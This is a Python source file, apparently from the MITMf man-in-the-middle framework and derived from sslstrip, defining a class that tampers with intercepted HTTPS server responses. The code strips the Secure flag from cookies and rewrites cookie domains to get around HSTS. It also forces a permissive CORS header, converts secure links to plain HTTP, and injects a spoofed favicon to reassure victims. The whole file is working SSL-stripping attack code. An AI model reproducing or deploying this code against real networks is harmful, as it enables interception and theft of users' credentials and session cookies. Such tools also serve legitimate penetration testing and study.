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https://github.com/byt3bl33d3r/MITMf.git
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128 lines
5.2 KiB
Python
128 lines
5.2 KiB
Python
# Copyright (c) 2004-2009 Moxie Marlinspike
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#
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# This program is free software; you can redistribute it and/or
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# modify it under the terms of the GNU General Public License as
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# published by the Free Software Foundation; either version 3 of the
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# License, or (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful, but
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# WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
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# General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program; if not, write to the Free Software
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# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
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# USA
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#
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import logging, re, string
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from ServerConnection import ServerConnection
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class SSLServerConnection(ServerConnection):
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'''
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For SSL connections to a server, we need to do some additional stripping. First we need
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to make note of any relative links, as the server will be expecting those to be requested
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via SSL as well. We also want to slip our favicon in here and kill the secure bit on cookies.
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'''
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cookieExpression = re.compile(r"([ \w\d:#@%/;$()~_?\+-=\\\.&]+); ?Secure", re.IGNORECASE)
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cssExpression = re.compile(r"url\(([\w\d:#@%/;$~_?\+-=\\\.&]+)\)", re.IGNORECASE)
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iconExpression = re.compile(r"<link rel=\"shortcut icon\" .*href=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE)
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linkExpression = re.compile(r"<((a)|(link)|(img)|(script)|(frame)) .*((href)|(src))=\"([\w\d:#@%/;$()~_?\+-=\\\.&]+)\".*>", re.IGNORECASE)
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headExpression = re.compile(r"<head>", re.IGNORECASE)
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def __init__(self, command, uri, postData, headers, client):
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ServerConnection.__init__(self, command, uri, postData, headers, client)
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def getLogLevel(self):
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return logging.INFO
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def getPostPrefix(self):
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return "SECURE POST"
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def handleHeader(self, key, value):
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if ServerConnection.isHsts(self):
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if (key.lower() == 'set-cookie'):
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newvalues =[]
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value = SSLServerConnection.cookieExpression.sub("\g<1>", value)
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values = value.split(';')
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for v in values:
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if v[:7].lower()==' domain':
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dominio=v.split("=")[1]
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logging.debug("LEO Parsing cookie domain parameter: %s"%v)
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real = self.urlMonitor.sustitucion
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if dominio in real:
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v=" Domain=%s"%real[dominio]
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logging.debug("LEO New cookie domain parameter: %s"%v)
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newvalues.append(v)
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value = ';'.join(newvalues)
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if (key.lower() == 'access-control-allow-origin'):
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value='*'
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else:
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if (key.lower() == 'set-cookie'):
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value = SSLServerConnection.cookieExpression.sub("\g<1>", value)
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ServerConnection.handleHeader(self, key, value)
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def stripFileFromPath(self, path):
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(strippedPath, lastSlash, file) = path.rpartition('/')
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return strippedPath
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def buildAbsoluteLink(self, link):
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absoluteLink = ""
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if ((not link.startswith('http')) and (not link.startswith('/'))):
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absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link
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logging.debug("Found path-relative link in secure transmission: " + link)
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logging.debug("New Absolute path-relative link: " + absoluteLink)
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elif not link.startswith('http'):
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absoluteLink = "http://"+self.headers['host']+link
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logging.debug("Found relative link in secure transmission: " + link)
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logging.debug("New Absolute link: " + absoluteLink)
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if not absoluteLink == "":
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absoluteLink = absoluteLink.replace('&', '&')
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self.urlMonitor.addSecureLink(self.client.getClientIP(), absoluteLink);
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def replaceCssLinks(self, data):
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iterator = re.finditer(SSLServerConnection.cssExpression, data)
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for match in iterator:
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self.buildAbsoluteLink(match.group(1))
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return data
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def replaceFavicon(self, data):
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match = re.search(SSLServerConnection.iconExpression, data)
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if (match != None):
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data = re.sub(SSLServerConnection.iconExpression,
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"<link rel=\"SHORTCUT ICON\" href=\"/favicon-x-favicon-x.ico\">", data)
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else:
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data = re.sub(SSLServerConnection.headExpression,
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"<head><link rel=\"SHORTCUT ICON\" href=\"/favicon-x-favicon-x.ico\">", data)
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return data
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def replaceSecureLinks(self, data):
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data = ServerConnection.replaceSecureLinks(self, data)
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data = self.replaceCssLinks(data)
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if (self.urlMonitor.isFaviconSpoofing()):
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data = self.replaceFavicon(data)
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iterator = re.finditer(SSLServerConnection.linkExpression, data)
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for match in iterator:
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self.buildAbsoluteLink(match.group(10))
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return data
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